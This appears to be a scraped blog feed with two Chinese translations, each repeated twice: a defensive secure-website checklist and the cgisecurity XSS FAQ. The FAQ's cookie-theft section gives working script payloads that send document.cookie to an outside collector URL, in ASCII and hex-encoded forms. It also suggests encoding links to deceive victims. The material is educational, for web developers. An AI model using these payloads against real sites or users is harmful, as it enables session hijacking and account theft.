idv2 » xss http://tech.idv2.com 关注Web开发技术，关注Internet。 Tue, 27 Jul 2010 12:54:54 +0000 http://wordpress.org/?v=2.8.5 en hourly 1 制作安全网站的checklist http://tech.idv2.com/2008/04/19/secure-website-checklist/ http://tech.idv2.com/2008/04/19/secure-website-checklist/#comments Sat, 19 Apr 2008 13:26:19 +0000 charlee http://tech.idv2.com/2008/04/19/secure-website-checklist/

fcicq最近在IPA上看到一篇安全相关的文章， 它的最末尾有个checklist，于是催我把它翻译了。前几天比较忙，周末没什么事儿了，就翻译一下吧。

原文的标题是如何让网站更安全。 这里仅翻译文章最后的一个checklist。

2008/4/20更新：fcicq倒是神速啊，马上就把具体的应用策略扔出来了 :D 参考：PHP 实践 Security Checklist

标有 (*) 的检查项目表示该项是针对相关问题的根本解决方法，应当尽最大努力去完成这些内容。 未标 (*) 的项目，表示该项并不能完全消除安全隐患，只是说通过这种方法可以避免发生安全问题。 最后一条似乎没什么意思，不翻译了。

  1. SQL注射
    1. (*) 在组合SQL语句时要使用SQL变量绑定功能
    2. (*) 如果数据库不提供变量绑定，那么需要对构成SQL的所有变量进行转义
    3. 不要将错误信息原封不动地显示在浏览器中。
    4. 为访问数据库的用户设置适当的权限。
  2. 操作系统命令行注射
    1. (*) 避免使用能启动shell命令的语言
    2. 使用的语言如果允许启动shell命令，则需要对该功能的参数种的所有变量进行检查，确保只包含合法的操作
  3. 不检查路径名参数/目录遍历
    1. (*) 不要将外部传进来的参数直接作为文件名来使用
    2. (*) 将打开文件的操作限制在固定的目录中，并禁止文件名中包含路径
    3. 为Web服务器上的文件设置正确的访问权限
    4. 检查文件名
  4. 会话管理的问题
    1. (*) 用难以推测的内容作为会话ID
    2. (*) 不要在URL中保存会话ID
    3. (*) 为https协议中使用的cookie设置secure属性
    4. (*) 登录成功后生成新的会话
    5. (*) 登录成功后，在会话ID之外再生成一个秘密信息，每次访问页面时都检查之
    6. 不使用固定值作为会话ID
    7. 将会话ID保存到Cookie中时，要设置有效期限
  5. 跨站脚本攻击(XSS)
    • 不允许输入HTML内容时的解决方法
      1. (*) 输出到页面上的所有内容都要转义
      2. (*) 输出URL时仅允许以“http://”或“https://”开头的URL
      3. (*) 不要动态生成<script>...</script>的内容
      4. (*) 不要从外部网站读入样式表
      5. 检查输入内容
    • 允许输入HTML内容时的解决方法
      1. (*) 解析输入的HTML内容，生成解析树，然后提取其中的非脚本部分
      2. 使用脚本删除输入的HTML内容中的相关字符串
    • 通用解决方法
      1. (*) 应答的HTTP头重指定Content-Type的charset属性
      2. 为避免Cookie情报泄漏，应禁止Trace方法，并对所有Cookie设置HttpOnly属性
  6. 跨站请求伪造(CSRF)
    1. (*) 所有页面都通过POST来访问，在前一页面的hidden中随机生成一个信息，提交后的页面检查该信息，正确时才予以执行
    2. (*) 执行业务之前再次要求输入密码
    3. (*) 确认Referer是否正确，只有正确时才执行
    4. 执行重要操作时，向预先设置的邮件地址中发送邮件
  7. HTTP头注射
    1. (*) 不直接输出HTTP头，而使用运行环境提供的头信息输出API
    2. (*) 无法使用API时，要禁止输入的头信息中的换行
    3. 删除所有外部输入中的换行
  8. 邮件盗用(通过某种手段使邮件发送到攻击者指定的地址)
    1. (*) 不使用外部参数作为邮件头信息
    2. 必须用外部参数设置头信息时，要删除其中的危险字符。
]]>

fcicq最近在IPA上看到一篇安全相关的文章， 它的最末尾有个checklist，于是催我把它翻译了。前几天比较忙，周末没什么事儿了，就翻译一下吧。

原文的标题是如何让网站更安全。 这里仅翻译文章最后的一个checklist。

2008/4/20更新：fcicq倒是神速啊，马上就把具体的应用策略扔出来了 :D 参考：PHP 实践 Security Checklist

标有 (*) 的检查项目表示该项是针对相关问题的根本解决方法，应当尽最大努力去完成这些内容。 未标 (*) 的项目，表示该项并不能完全消除安全隐患，只是说通过这种方法可以避免发生安全问题。 最后一条似乎没什么意思，不翻译了。

  1. SQL注射
    1. (*) 在组合SQL语句时要使用SQL变量绑定功能
    2. (*) 如果数据库不提供变量绑定，那么需要对构成SQL的所有变量进行转义
    3. 不要将错误信息原封不动地显示在浏览器中。
    4. 为访问数据库的用户设置适当的权限。
  2. 操作系统命令行注射
    1. (*) 避免使用能启动shell命令的语言
    2. 使用的语言如果允许启动shell命令，则需要对该功能的参数种的所有变量进行检查，确保只包含合法的操作
  3. 不检查路径名参数/目录遍历
    1. (*) 不要将外部传进来的参数直接作为文件名来使用
    2. (*) 将打开文件的操作限制在固定的目录中，并禁止文件名中包含路径
    3. 为Web服务器上的文件设置正确的访问权限
    4. 检查文件名
  4. 会话管理的问题
    1. (*) 用难以推测的内容作为会话ID
    2. (*) 不要在URL中保存会话ID
    3. (*) 为https协议中使用的cookie设置secure属性
    4. (*) 登录成功后生成新的会话
    5. (*) 登录成功后，在会话ID之外再生成一个秘密信息，每次访问页面时都检查之
    6. 不使用固定值作为会话ID
    7. 将会话ID保存到Cookie中时，要设置有效期限
  5. 跨站脚本攻击(XSS)
    • 不允许输入HTML内容时的解决方法
      1. (*) 输出到页面上的所有内容都要转义
      2. (*) 输出URL时仅允许以“http://”或“https://”开头的URL
      3. (*) 不要动态生成<script>...</script>的内容
      4. (*) 不要从外部网站读入样式表
      5. 检查输入内容
    • 允许输入HTML内容时的解决方法
      1. (*) 解析输入的HTML内容，生成解析树，然后提取其中的非脚本部分
      2. 使用脚本删除输入的HTML内容中的相关字符串
    • 通用解决方法
      1. (*) 应答的HTTP头重指定Content-Type的charset属性
      2. 为避免Cookie情报泄漏，应禁止Trace方法，并对所有Cookie设置HttpOnly属性
  6. 跨站请求伪造(CSRF)
    1. (*) 所有页面都通过POST来访问，在前一页面的hidden中随机生成一个信息，提交后的页面检查该信息，正确时才予以执行
    2. (*) 执行业务之前再次要求输入密码
    3. (*) 确认Referer是否正确，只有正确时才执行
    4. 执行重要操作时，向预先设置的邮件地址中发送邮件
  7. HTTP头注射
    1. (*) 不直接输出HTTP头，而使用运行环境提供的头信息输出API
    2. (*) 无法使用API时，要禁止输入的头信息中的换行
    3. 删除所有外部输入中的换行
  8. 邮件盗用(通过某种手段使邮件发送到攻击者指定的地址)
    1. (*) 不使用外部参数作为邮件头信息
    2. 必须用外部参数设置头信息时，要删除其中的危险字符。
]]> http://tech.idv2.com/2008/04/19/secure-website-checklist/feed/ 12 跨站脚本攻击(XSS)FAQ http://tech.idv2.com/2006/08/30/xss-faq/ http://tech.idv2.com/2006/08/30/xss-faq/#comments Wed, 30 Aug 2006 10:24:47 +0000 charlee http://charlee.itbdns.com/tech/archive/111.html

该文章简单地介绍了XSS的基础知识及其危害和预防方法。Web开发人员的必读。译自 http://www.cgisecurity.com/articles/xss-faq.shtml。

简介

现在的网站包含大量的动态内容以提高用户体验，比过去要复杂得多。 所谓动态内容，就是根据用户环境和需要，Web应用程序能够输出相应的内容。 动态站点会受到一种名为“跨站脚本攻击”（Cross Site Scripting, 安全专家们通常将其所写成 XSS）的威胁，而静态站点则完全不受其影响。 这篇FAQ将使你能更深入地理解这种威胁，并给出如何检测并防止的建议。

什么是跨站脚本攻击？

跨站脚本攻击（也称为XSS）指利用网站漏洞从用户那里恶意盗取信息。 用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时，通常会点击其中的链接。 攻击者通过在链接中插入恶意代码，就能够盗取用户信息。 攻击者通常会用十六进制（或其他编码方式）将链接编码，以免用户怀疑它的合法性。 网站在接收到包含恶意代码的请求之后会产成一个包含恶意代码的页面， 而这个页面看起来就像是那个网站应当生成的合法页面一样。 许多流行的留言本和论坛程序允许用户发表包含HTML和javascript的帖子。 假设用户甲发表了一篇包含恶意脚本的帖子，那么用户乙在浏览这篇帖子时， 恶意脚本就会执行，盗取用户乙的session信息。有关攻击方法的详细情况将在下面阐述。

XSS和CSS是什么意思？

人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS， 但这会与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。 因此有人将跨站脚本攻击缩写为XSS。如果你听到有人说 “我发现了一个XSS漏洞”，显然他是在说跨站脚本攻击。

跨站脚本攻击有什么危害？

为了搜集用户信息，攻击者通常会在有漏洞的程序中插入 JavaScript、VBScript、 ActiveX或Flash以欺骗用户（详见下文）。一旦得手，他们可以盗取用户帐户， 修改用户设置，盗取/污染cookie，做虚假广告等。每天都有大量的XSS攻击的恶意代码出现。 Brett Moore的下面这篇文章详细地阐述了“拒绝服务攻击”以及用户仅仅阅读一篇文章 就会受到的“自动攻击”。

能否给出几个跨站脚本攻击的例子？

著名的PHPnuke程序有很多XSS漏洞。由于该程序十分流行， 因此经常被黑客们作为XSS的攻击对象进行检查。 下面给出了几个已公开报告的攻击方法。

能否解释一下XSS cookie盗窃是什么意思？

根据作为攻击对象的Web程序，下面某些变量和插入位置可能需要进行调整。 要注意这只是攻击方法的一个例子。在这个例子中，我们将利用脚本“a.php”中的 “viriable”变量中的跨站脚本漏洞，通过正常请求进行攻击。这是跨站脚本攻击最常见的形式。

第一步: 锁定目标

当你找到某个Web程序存在XSS漏洞之后，检查一下它是否设置了cookie。 如果在该网站的任何地方设置了cookie，那么就可以从用户那里盗取它。

第二步: 测试

不同的攻击方式将产生不同的XSS漏洞，所以应适当进行测试以使得输出结果看起来像是正常的。 某些恶意脚本插入之后会破坏输出的页面。（为欺骗用户，输出结果非常重要，因此攻击者 有必要调整攻击代码使输出看起来正常。）

下一步你需要在链接至包含XSS漏洞的页面的URL中插入 Javascript（或其他客户端脚本）。 下面列出了一些经常用于测试XSS漏洞的链接。当用户点击这些链接时，用户的cookie奖被发送到 www.cgisecurity.com/cgi-bin/cookie.cgi 并被显示。如果你看到显示结果中包含了cookie信息， 说明可能可以劫持该用户的账户。

盗取Cookie的Javascript示例。使用方法如下。

ASCII用法

http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>

十六进制用法

http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

注意: 每种用法都先写为ASCII，再写成十六进制以便复制粘贴。

1. "><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> 

HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e
%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65
%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f
%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

2. <script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> 

HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72
%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b
%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e

3. ><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> 

HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c
%6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75
%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f
%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e

第三步: 执行XSS

将做好的URL通过电子邮件或其他方式发送出去。注意如果你直接将URL发送给其他人 （通过电子邮件、即时通讯软件或其他方式），你应当将其进行十六进制编码，因为 这些URL一眼便可看出包含恶意代码，但经过十六进制编码之后就可以欺骗大部分人。

第四步: 处理收集到的信息

一旦用户点击了你的URL，相应数据就会被发送到你的CGI脚本中。这样你就获得了 cookie信息，然后你可以利用Websleuth之类的工具来检查是否能盗取那个账户。

在上面的例子中，我们仅仅将用户带到了 cookie.cgi页面上。 如果你有时间，你可以在CGI中将用户重定向到原来的页面上， 即可在用户不知不觉之中盗取信息。

某些电子邮件程序在打开附件时会自动执行附件中的Javascript代码。 即使像Hotmail这样的大型网站也是如此，不过它对附件内容作了 许多过滤以避免cookie被盗。

作为网站管理者应当如何防范？

这个问题很简单。坚决不要相信任何用户输入并过滤所有特殊字符。这样既可消灭绝大部分的XSS攻击。 另一个建议是输出页面时将 < 和 > 变换成 < 和 >。 要记住，XSS漏洞极具破坏性，一旦被利用，它会给你的事业带来极大的损害。 攻击者会将这些漏洞公之于众，这会在用户隐私的问题上大大降低你的网站的用户信赖度。 当然，仅仅将 ( 和 ) 变换成 < 和 > 是不够的，最好将 ( 和 ) 变换成 ( 和 )，# 和 & 变换成 # 和 &。

作为用户应当如何防范？

保护自己的最好方法就是仅点击你想访问的那个网站上的链接。例如，如果你访问了一个网站， 该网站有一个链接指向了 CNN，那么不要单击该链接，而是访问 CNN 的主站点并使用搜索引擎查找相关内容。 这样可以杜绝90%以上的XSS攻击。有时候XSS会在你打开电子邮件、打开附件、阅读留言板、阅读论坛时 自动进行。当你打开电子邮件或是在公共论坛上阅读你不认识的人的帖子时一定要注意。 最好的解决办法就是关闭浏览器的 Javascript 功能。在IE中可以将安全级别设置为最高， 可以防止cookie被盗。

XSS漏洞有多常见？

由于XSS漏洞很容易在大型网站中发现，在黑客圈内它非常流行。FBI.gov、CNN.com、Time.com、Ebay、 Yahoo、Apple、Microsoft、Zdnet、Wired、Newsbytes都有这样那样的XSS漏洞。

在商业产品中，平均每个月能够发现10-25个XSS漏洞。

加密能否防止XSS攻击？

使用SSL(https)加密的网站并不比不加密的网站好到哪儿去。Web程序仍然以同样的方式工作， 只是攻击是通过加密的连接实现。有些人看到浏览器上的锁图标就认为他们是安全的，其实不然。

XSS漏洞能否在服务器上执行命令？

XSS漏洞会导致Javascript的恶意插入，但它的执行受到很多限制。如果攻击者利用浏览器的漏洞， 有可能在用户的计算机上执行命令。因此，就算能够执行命令也只能在客户端。简单地说，XSS漏洞 可以触发客户端的其他漏洞。

如果我不修改CSS/XSS漏洞会怎样？

如果不修改XSS漏洞，你的网站上的用户会受到被篡改的威胁。许多大型网站都发现了XSS漏洞， 这个问题已经得到普遍认识。如果不修改，发现它的人也许会警告你的公司，损害公司的信誉。 你拒绝修改漏洞的消息也会传到客户那里，造成公司的信任危机。客户不信任的话还怎么做生意？

介绍一些更深入讲解XSS的地方。

"Cross-site scripting tears holes in Net security"
http://www.usatoday.com/life/cyber/tech/2001-08-31-hotmail-security-side.htm

Article on XSS holes
http://www.perl.com/pub/a/2002/02/20/css.html

"CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests"
http://www.cert.org/advisories/CA-2000-02.html

Paper on Removing Meta-characters from User Supplied Data in CGI Scripts.
http://www.cert.org/tech_tips/cgi_metacharacters.html

Paper on Microsoft's Passport System
http://eyeonsecurity.net/papers/passporthijack.html

Paper on Cookie Theft
http://www.eccentrix.com/education/b0iler/tutorials/javascript.htm#cookies

The webappsec mailing list (Visit www.securityfocus for details)
webappsec@securityfocus.com

Many Thanks to David Endler for reviewing this document.

Published to the Public May 2002
Copyright May 2002 Cgisecurity.com

]]>

该文章简单地介绍了XSS的基础知识及其危害和预防方法。Web开发人员的必读。译自 http://www.cgisecurity.com/articles/xss-faq.shtml。

简介

现在的网站包含大量的动态内容以提高用户体验，比过去要复杂得多。 所谓动态内容，就是根据用户环境和需要，Web应用程序能够输出相应的内容。 动态站点会受到一种名为“跨站脚本攻击”（Cross Site Scripting, 安全专家们通常将其所写成 XSS）的威胁，而静态站点则完全不受其影响。 这篇FAQ将使你能更深入地理解这种威胁，并给出如何检测并防止的建议。

什么是跨站脚本攻击？

跨站脚本攻击（也称为XSS）指利用网站漏洞从用户那里恶意盗取信息。 用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时，通常会点击其中的链接。 攻击者通过在链接中插入恶意代码，就能够盗取用户信息。 攻击者通常会用十六进制（或其他编码方式）将链接编码，以免用户怀疑它的合法性。 网站在接收到包含恶意代码的请求之后会产成一个包含恶意代码的页面， 而这个页面看起来就像是那个网站应当生成的合法页面一样。 许多流行的留言本和论坛程序允许用户发表包含HTML和javascript的帖子。 假设用户甲发表了一篇包含恶意脚本的帖子，那么用户乙在浏览这篇帖子时， 恶意脚本就会执行，盗取用户乙的session信息。有关攻击方法的详细情况将在下面阐述。

XSS和CSS是什么意思？

人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS， 但这会与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。 因此有人将跨站脚本攻击缩写为XSS。如果你听到有人说 “我发现了一个XSS漏洞”，显然他是在说跨站脚本攻击。

跨站脚本攻击有什么危害？

为了搜集用户信息，攻击者通常会在有漏洞的程序中插入 JavaScript、VBScript、 ActiveX或Flash以欺骗用户（详见下文）。一旦得手，他们可以盗取用户帐户， 修改用户设置，盗取/污染cookie，做虚假广告等。每天都有大量的XSS攻击的恶意代码出现。 Brett Moore的下面这篇文章详细地阐述了“拒绝服务攻击”以及用户仅仅阅读一篇文章 就会受到的“自动攻击”。

能否给出几个跨站脚本攻击的例子？

著名的PHPnuke程序有很多XSS漏洞。由于该程序十分流行， 因此经常被黑客们作为XSS的攻击对象进行检查。 下面给出了几个已公开报告的攻击方法。

能否解释一下XSS cookie盗窃是什么意思？

根据作为攻击对象的Web程序，下面某些变量和插入位置可能需要进行调整。 要注意这只是攻击方法的一个例子。在这个例子中，我们将利用脚本“a.php”中的 “viriable”变量中的跨站脚本漏洞，通过正常请求进行攻击。这是跨站脚本攻击最常见的形式。

第一步: 锁定目标

当你找到某个Web程序存在XSS漏洞之后，检查一下它是否设置了cookie。 如果在该网站的任何地方设置了cookie，那么就可以从用户那里盗取它。

第二步: 测试

不同的攻击方式将产生不同的XSS漏洞，所以应适当进行测试以使得输出结果看起来像是正常的。 某些恶意脚本插入之后会破坏输出的页面。（为欺骗用户，输出结果非常重要，因此攻击者 有必要调整攻击代码使输出看起来正常。）

下一步你需要在链接至包含XSS漏洞的页面的URL中插入 Javascript（或其他客户端脚本）。 下面列出了一些经常用于测试XSS漏洞的链接。当用户点击这些链接时，用户的cookie奖被发送到 www.cgisecurity.com/cgi-bin/cookie.cgi 并被显示。如果你看到显示结果中包含了cookie信息， 说明可能可以劫持该用户的账户。

盗取Cookie的Javascript示例。使用方法如下。

ASCII用法

http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>

十六进制用法

http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

注意: 每种用法都先写为ASCII，再写成十六进制以便复制粘贴。

1. "><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> 

HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e
%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65
%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f
%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

2. <script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> 

HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72
%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b
%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e

3. ><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> 

HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c
%6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75
%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f
%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e

第三步: 执行XSS

将做好的URL通过电子邮件或其他方式发送出去。注意如果你直接将URL发送给其他人 （通过电子邮件、即时通讯软件或其他方式），你应当将其进行十六进制编码，因为 这些URL一眼便可看出包含恶意代码，但经过十六进制编码之后就可以欺骗大部分人。

第四步: 处理收集到的信息

一旦用户点击了你的URL，相应数据就会被发送到你的CGI脚本中。这样你就获得了 cookie信息，然后你可以利用Websleuth之类的工具来检查是否能盗取那个账户。

在上面的例子中，我们仅仅将用户带到了 cookie.cgi页面上。 如果你有时间，你可以在CGI中将用户重定向到原来的页面上， 即可在用户不知不觉之中盗取信息。

某些电子邮件程序在打开附件时会自动执行附件中的Javascript代码。 即使像Hotmail这样的大型网站也是如此，不过它对附件内容作了 许多过滤以避免cookie被盗。

作为网站管理者应当如何防范？

这个问题很简单。坚决不要相信任何用户输入并过滤所有特殊字符。这样既可消灭绝大部分的XSS攻击。 另一个建议是输出页面时将 < 和 > 变换成 < 和 >。 要记住，XSS漏洞极具破坏性，一旦被利用，它会给你的事业带来极大的损害。 攻击者会将这些漏洞公之于众，这会在用户隐私的问题上大大降低你的网站的用户信赖度。 当然，仅仅将 ( 和 ) 变换成 < 和 > 是不够的，最好将 ( 和 ) 变换成 ( 和 )，# 和 & 变换成 # 和 &。

作为用户应当如何防范？

保护自己的最好方法就是仅点击你想访问的那个网站上的链接。例如，如果你访问了一个网站， 该网站有一个链接指向了 CNN，那么不要单击该链接，而是访问 CNN 的主站点并使用搜索引擎查找相关内容。 这样可以杜绝90%以上的XSS攻击。有时候XSS会在你打开电子邮件、打开附件、阅读留言板、阅读论坛时 自动进行。当你打开电子邮件或是在公共论坛上阅读你不认识的人的帖子时一定要注意。 最好的解决办法就是关闭浏览器的 Javascript 功能。在IE中可以将安全级别设置为最高， 可以防止cookie被盗。

XSS漏洞有多常见？

由于XSS漏洞很容易在大型网站中发现，在黑客圈内它非常流行。FBI.gov、CNN.com、Time.com、Ebay、 Yahoo、Apple、Microsoft、Zdnet、Wired、Newsbytes都有这样那样的XSS漏洞。

在商业产品中，平均每个月能够发现10-25个XSS漏洞。

加密能否防止XSS攻击？

使用SSL(https)加密的网站并不比不加密的网站好到哪儿去。Web程序仍然以同样的方式工作， 只是攻击是通过加密的连接实现。有些人看到浏览器上的锁图标就认为他们是安全的，其实不然。

XSS漏洞能否在服务器上执行命令？

XSS漏洞会导致Javascript的恶意插入，但它的执行受到很多限制。如果攻击者利用浏览器的漏洞， 有可能在用户的计算机上执行命令。因此，就算能够执行命令也只能在客户端。简单地说，XSS漏洞 可以触发客户端的其他漏洞。

如果我不修改CSS/XSS漏洞会怎样？

如果不修改XSS漏洞，你的网站上的用户会受到被篡改的威胁。许多大型网站都发现了XSS漏洞， 这个问题已经得到普遍认识。如果不修改，发现它的人也许会警告你的公司，损害公司的信誉。 你拒绝修改漏洞的消息也会传到客户那里，造成公司的信任危机。客户不信任的话还怎么做生意？

介绍一些更深入讲解XSS的地方。

"Cross-site scripting tears holes in Net security"
http://www.usatoday.com/life/cyber/tech/2001-08-31-hotmail-security-side.htm

Article on XSS holes
http://www.perl.com/pub/a/2002/02/20/css.html

"CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests"
http://www.cert.org/advisories/CA-2000-02.html

Paper on Removing Meta-characters from User Supplied Data in CGI Scripts.
http://www.cert.org/tech_tips/cgi_metacharacters.html

Paper on Microsoft's Passport System
http://eyeonsecurity.net/papers/passporthijack.html

Paper on Cookie Theft
http://www.eccentrix.com/education/b0iler/tutorials/javascript.htm#cookies

The webappsec mailing list (Visit www.securityfocus for details)
webappsec@securityfocus.com

Many Thanks to David Endler for reviewing this document.

Published to the Public May 2002
Copyright May 2002 Cgisecurity.com

]]> http://tech.idv2.com/2006/08/30/xss-faq/feed/ 10